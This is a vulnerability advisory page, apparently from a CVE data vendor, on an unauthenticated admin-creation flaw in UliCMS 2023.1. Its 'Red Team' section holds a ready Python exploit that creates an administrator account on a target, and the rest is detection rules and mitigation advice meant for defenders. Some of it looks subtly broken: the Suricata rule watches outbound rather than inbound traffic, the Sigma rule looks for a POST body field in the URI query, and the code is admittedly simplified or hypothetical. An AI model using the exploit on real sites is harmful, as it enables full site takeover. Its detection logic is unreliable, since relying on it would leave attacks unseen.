CVE-2023-53923
Executive Summary
CVE-2023-53923 is a critical privilege escalation vulnerability in UliCMS 2023.1. An unauthenticated attacker can exploit the UserController endpoint by sending a crafted POST request to /dist/admin/index.php with specific parameters to create a new administrative account with full system access. This vulnerability allows complete compromise of the CMS, including data theft, defacement, and lateral movement within the hosting environment. No patch is currently available, and the vendor has not released a security update.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
UliCMS is a PHP-based content management system. The vulnerability exists in the core application code, not in a third-party package. However, administrators should verify the integrity of their UliCMS installation and monitor for any unauthorized file modifications.
CVSS Breakdown & Threat Level
- CVSS Score: 10.0 (Critical)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and grants full administrative control.
Deep Dive & Mechanics
The vulnerability resides in the UserController of UliCMS 2023.1. The endpoint /dist/admin/index.php does not properly validate authentication or authorization before processing user creation requests. By sending a POST request with parameters such as action=createUser, username, password, and role=admin, an attacker can bypass all access controls and create a new administrator account.
The root cause is a missing authentication check in the controller logic. The application fails to verify that the request originates from an authenticated session or that the requester has administrative privileges. This allows any unauthenticated user to call the user creation function directly.
Vulnerable vs. Patched Code
Vulnerable Code (UliCMS 2023.1):
// UserController.php (simplified)
public function createUser($request) {
$username = $request->get('username');
$password = $request->get('password');
$role = $request->get('role');
// No authentication check
$this->userModel->create($username, $password, $role);
}
Patched Code (Hypothetical):
// UserController.php (patched)
public function createUser($request) {
if (!$this->auth->isAuthenticated() || !$this->auth->isAdmin()) {
throw new AccessDeniedException();
}
$username = $request->get('username');
$password = $request->get('password');
$role = $request->get('role');
$this->userModel->create($username, $password, $role);
}
Exploitation & Lab Setup
Red Team
Exploit Code (Python):
import requests
target = "http://target-ulicms-instance.com"
endpoint = "/dist/admin/index.php"
payload = {
"action": "createUser",
"username": "hackeradmin",
"password": "P@ssw0rd123!",
"role": "admin"
}
response = requests.post(target + endpoint, data=payload)
if response.status_code == 200 and "success" in response.text:
print("[+] Admin user created successfully!")
print(f"[+] Login at {target}/admin with hackeradmin:P@ssw0rd123!")
else:
print("[-] Exploit failed.")
Lab Setup:
- Deploy a vulnerable UliCMS 2023.1 instance using Docker or a local PHP environment.
- Run the exploit script against the target.
- Verify admin access by logging into the admin panel.
Blue Team
Detection Steps:
- Monitor for POST requests to
/dist/admin/index.phpwith parameters containingaction=createUser. - Alert on any new user creation events, especially those with
role=admin. - Review server logs for unusual IP addresses making repeated POST requests to the admin endpoint.
Hunting Query (Splunk):
index=web sourcetype=access_combined
| search uri="/dist/admin/index.php" AND form_data=*createUser*
| table _time, src_ip, user_agent, form_data
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/dist/admin/index.phpwithaction=createUserparameter. - Unusual admin account creation events in application logs.
- POST requests to
- File IOCs:
- New user entries in the database
userstable withrole=admin. - Modified or new files in the
/admin/directory.
- New user entries in the database
- Behavioral IOCs:
- Unauthorized access to admin panel from unknown IPs.
- Sudden changes to site content or configuration.
Detection Engineering
YARA Rule
rule CVE_2023_53923_UliCMS_PrivEsc {
meta:
description = "Detects exploit attempts for CVE-2023-53923 in UliCMS"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-53923"
strings:
$s1 = "action=createUser" ascii wide nocase
$s2 = "role=admin" ascii wide nocase
$s3 = "/dist/admin/index.php" ascii wide nocase
condition:
all of them
}
Sigma Rule
title: UliCMS Privilege Escalation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to UliCMS admin endpoint with user creation parameters
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/dist/admin/index.php'
cs-uri-query|contains: 'action=createUser'
condition: selection
falsepositives:
- Legitimate admin actions (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2023-53923 UliCMS Privilege Escalation Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/dist/admin/index.php"; http_uri;
content:"action=createUser"; http_client_body;
classtype:attempted-admin;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable the vulnerable endpoint: Block access to
/dist/admin/index.phpvia web server configuration (e.g.,.htaccessor Nginx location block). - Implement WAF rules: Create a custom rule to block POST requests containing
action=createUserto the admin endpoint. - Monitor logs: Actively search for exploitation attempts using the provided Sigma and Suricata rules.
Long-Term Fix:
- Apply a vendor patch if/when released.
- Upgrade to a patched version of UliCMS.
- Implement proper authentication and authorization checks in all admin controllers.
Workaround:
- Restrict access to the admin panel by IP address using firewall rules.
- Use a reverse proxy to add an additional authentication layer.
Valters IT